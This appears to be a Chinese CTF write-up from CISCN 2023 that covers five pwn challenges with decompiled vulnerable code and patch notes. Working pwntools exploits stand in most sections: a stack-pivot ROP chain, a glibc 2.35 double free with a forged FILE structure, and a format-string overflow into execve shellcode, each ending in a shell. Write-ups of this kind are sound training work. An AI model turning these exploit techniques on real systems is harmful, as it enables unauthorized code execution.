前言
第一次打awdp赛制的比赛 对于fix和attack节奏的把控有了一些理解 还学到了一点fix的小技巧 当然attack的题目也学到了很多东西 来做一个总结
login
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { char buf[240];
sub_4011FB(a1, a2, a3); sub_40127B(); puts("Welcome to CISCN 2023!"); puts("Enter your password:"); read(0, buf, 0x90uLL); puts("Login failed..."); puts("Try again!"); puts("Enter your password:"); read(0, &unk_404060, 0x90uLL); return 0LL; }
|
可以溢出0x10字节 同时可以往bss段写入数据 说实话 这种考点是我玩剩下的 出过很多这种类型的题目 这题很快就拿下了
由于read函数的rsi是通过rbp寄存器来索引的 我们只需要覆盖rbp为bss段地址 随后控制retaddr为read函数的参数赋值起始地址 就可以达成任意写 随后就是往bss段上写rop链泄露libc地址 然后利用pop rbp继续控制rbp的地址 然后再次跳转实现任意写 最后构造system
from pwn import* from ctypes import *
io = remote("175.20.26.11",9999) elf = ELF("./pwn") context.terminal = ['tmux','splitw','-h'] libc = ELF("./libc.so.6")
context.arch = "amd64" context.log_level = "debug" def debug(): gdb.attach(io) pause()
io.recvuntil("Enter your password:") bss_addr = elf.bss(0x800) ptr_addr = 0x401316 rdi_addr = 0x00000000004013d3 leave_addr = 0x000000000040136e ret_addr = 0x000000000040101a rbp_addr = 0x00000000004011bd puts_got = elf.got['puts'] puts_plt = elf.sym['puts'] payload = cyclic(0xf0)+p64(bss_addr+0xf0)+p64(ptr_addr) io.send(payload) io.recvuntil("Enter your password:") payload = b'aaaa'
io.send(payload)
payload = p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(rbp_addr)+p64(elf.bss(0xbf8))+p64(ptr_addr)+p64(rbp_addr) payload = payload.ljust(0xf0,b'\x00')+p64(bss_addr-0x8)+p64(leave_addr) io.send(payload) payload = b'aaaa' io.send(payload)
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['puts'] success("libc_addr :"+hex(libc_addr)) system_addr = libc_addr + libc.sym['system'] binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) payload = p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr) payload = payload.ljust(0xf0,b'\x00')+p64(elf.bss(0xb00))+p64(leave_addr) io.send(payload)
payload = b'aaaa'
io.send(payload)
io.interactive()
|
wargame
这题的代码量很大 需要慢慢审计 最后是在adjust weapon中 发现了一个函数可以往堆地址写入数据 并且是用for循环来的
将for循环的次数修改为0次后就通过了check
char __fastcall sub_2E18(__int64 a1) { char result; int i;
if ( dword_81E4 ) return puts("Error."); result = printf("Info: "); for ( i = 0; i <= 9; ++i ) { result = sub_15FF(a1 + 16 + 32 * i + 16LL, 16LL) == 0; if ( result ) break; } dword_81E4 = 1; return result; }
|
notepad
2.35的一道堆 存在UAF漏洞
int sub_16B0() { int result; char *v1;
__printf_chk(1LL, "page: "); result = choice(); if ( result <= 0xE ) { v1 = &unk_4040 + 16 * result; if ( *v1 ) { free(*v1); *(v1 + 2) = 0; result = puts("Success~"); } } return result; }
|
置零的是存放size的指针 将其修改为v1 置零堆块指针即可成功fix
attack的话 这题除了UAF之外 edit函数中还存在一个漏洞
int sub_1790() { unsigned int v0; char *v1;
__printf_chk(1LL, "page: "); v0 = choice(); if ( v0 > 0xE ) return puts("The notepad don't have this page!"); v1 = &unk_4040 + 16 * v0; if ( !*v1 ) return puts("The notepad don't have this page!"); **v1 = 0LL; if ( !*(v1 + 2) ) return puts("The notepad don't have this page!"); __printf_chk(1LL, "date: "); sub_13E0(*v1); __printf_chk(1LL, "content: "); return sub_13E0((*v1 + 16LL)); }
|
可以看到在检查size指针之前 就对chunk的前0x10字节清空了 这意味着我们可以在释放chunk到tcachebin后 借此来清空key域 以此来实现double free
随后就是2.35的io链利用
from pwn import* from ctypes import * io = process("./pwn")
elf = ELF("./pwn") context.terminal = ['tmux','splitw','-h'] libc = ELF("./libc.so.6")
context.arch = "amd64" context.log_level = "debug" def debug(): gdb.attach(io) pause()
def add(size,data,payload): io.recvuntil(">> ") io.sendline(b'1') io.recvuntil("size: ") io.sendline(str(size)) io.recvuntil("date: ") io.sendline(data) io.recvuntil("content: ") io.sendline(payload) def show(index): io.recvuntil(">> ") io.sendline(b'2') io.recvuntil("page: ") io.sendline(str(index)) def delete(index): io.recvuntil(">> ") io.sendline(b'3') io.recvuntil("page: ") io.sendline(str(index)) def edit(index): io.recvuntil(">> ") io.sendline(b'4') io.recvuntil("page: ") io.sendline(str(index))
for i in range(8): add(0x80,b'aaaa',b'aaaa') delete(1) show(1) heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))>>8 success("heap_addr :"+hex(heap_addr)) for i in range(6): delete(i+2) delete(0) show(0) libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x219ce0 success("libc_addr :"+hex(libc_addr)) add(0xf0,'aaaa','aaaa') add(0xf0,'aaaa','aaaa') delete(9) delete(8) edit(8) delete(8) stderr_addr = libc_addr + libc.sym['stderr'] key = heap_addr success("key:"+hex(key))
gadget_addr = libc_addr + 0x00000000001675b0 setcontext_addr = libc_addr + libc.sym['setcontext']+61 rdi_addr = libc_addr + next(libc.search(asm("pop rdi;ret"))) rsi_addr = libc_addr + next(libc.search(asm("pop rsi;ret"))) rdx_r12_addr = libc_addr + 0x000000000011f497 ret_addr = libc_addr + 0x0000000000029cd6 binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) system_addr = libc_addr + libc.sym['system'] open_addr = libc_addr + libc.sym['open'] read_addr = libc_addr + libc.sym['read'] write_addr = libc_addr + libc.sym['write']
io_lock = libc_addr + 0x21ba60 _IO_wfile_jumps = libc_addr + libc.sym['_IO_wfile_jumps'] system_addr = libc_addr + libc.sym['system'] heap_addr = heap_addr *0x1000 fake_FILE_addr = heap_addr + 0x9d0 wide = heap_addr + 0xaf0
fake_FILE = b'/bin/sh\x00' fake_FILE += p64(0)*13 fake_FILE += p64(2) + p64(0xffffffffffffffff) fake_FILE += p64(00) + p64(io_lock) fake_FILE += p64(0xffffffffffffffff) + p64(0) fake_FILE += p64(wide) + p64(0) fake_FILE += p64(0)*2 fake_FILE += p64(1) fake_FILE += p64(0)*2 + p64(_IO_wfile_jumps+0x30) add(0x100,'aaaa', fake_FILE+b'\n')
fake_FILE2 = p64(0)*2 + p64(1) + p64(2)+p64(3) fake_FILE2 += p64(0)*22 + p64(wide+0xe8-0x18) fake_FILE2 += p64(wide+0xe8-0x18)+p64(system_addr) add(0x100,'aaaa', fake_FILE2+b'\n')
IO_list_all = libc_addr + libc.sym['_IO_list_all'] add(0xf0, p64(key^IO_list_all),'1') add(0xf0,'aaaa','aaaa') add(0xf0, p64(fake_FILE_addr),'aaaa')
io.recvuntil(">> ")
io.sendline(b'5') io.interactive()
|
masknote
__int64 vuln() { __int64 result; char s[128];
memset(s, 0, sizeof(s)); printf("\x1B[0;34mNice to meet you!\n\x1B[0m"); printf("\x1B[0;32myour name:\x1B[0m"); read(0, name, 0x80uLL); printf("\x1B[0;32mMask:\x1B[0m"); read(0, Mask, 0x64uLL); check_Mask(Mask); sprintf(s, Mask, name); printf("\x1B[0;32myour Masked name:\x1B[0m"); write(1, s, 0x80uLL); printf("\x1B[1;33mWelcome!\n\x1B[0m"); while ( 1 ) { menu(); __isoc99_scanf("%d", &choice); result = (unsigned int)choice; if ( choice == 5 ) break; switch ( choice ) { case 1: add(); break; case 2: show(); break; case 3: edit(); break; case 4: delete(); break; } } return result; }
|
看起来像一道堆题 但是实际是sprintf函数的利用 其如果使用%c可以打印空字符 就存在栈溢出 但是由于不能读入\x00 所以只能覆盖retaddr 由于开局mmap了一个地址 权限是可写可读可执行 所以我们可以往其写入shellcode 随后利用栈溢出修改retaddr
from pwn import* from ctypes import *
io = remote("175.20.26.208",9999) elf = ELF("./pwn") context.log_level = "debug" context.terminal = ['tmux','splitw','-h'] libc = ELF("./libc.so.6")
def debug(): gdb.attach(io) pause()
def add(index,size): io.recvuntil("Your choice:>>") io.sendline(b'1') io.recvuntil("Idx:") io.sendline(str(index)) io.recvuntil("Size:") io.sendline(str(size)) def show(index): io.recvuntil("Your choice:>>") io.sendline(b'2') io.recvuntil("Idx:") io.sendline(str(index)) def edit(index,payload): io.recvuntil("Your choice:>>") io.sendline(b'3') io.recvuntil("Idx:") io.sendline(str(index)) io.recvuntil("context: ") io.send(payload) def delete(index): io.recvuntil("Your choice:>>") io.sendline(b'4') io.recvuntil("Idx:") io.sendline(str(index)) io.recvuntil("your name:") io.send(b'aaaaaaaa'+b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05') io.recvuntil("Mask:")
leave_ret = 0x0000000000401392
payload = b'aa%34$s%126caa'+b'\x08\x80\x80\x80' io.send(payload) libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x2652e0 success("libc_addr :"+hex(libc_addr))
io.recvuntil("Your choice:>>")
io.sendline(b'5')
io.interactive()
|
dbgnote
这题fix的关键是溢出 经过代码审计发现有两处地方分别存在2字节溢出和1字节溢出 位于username的读入和chunk size的读入
将其修改为无溢出即可通过check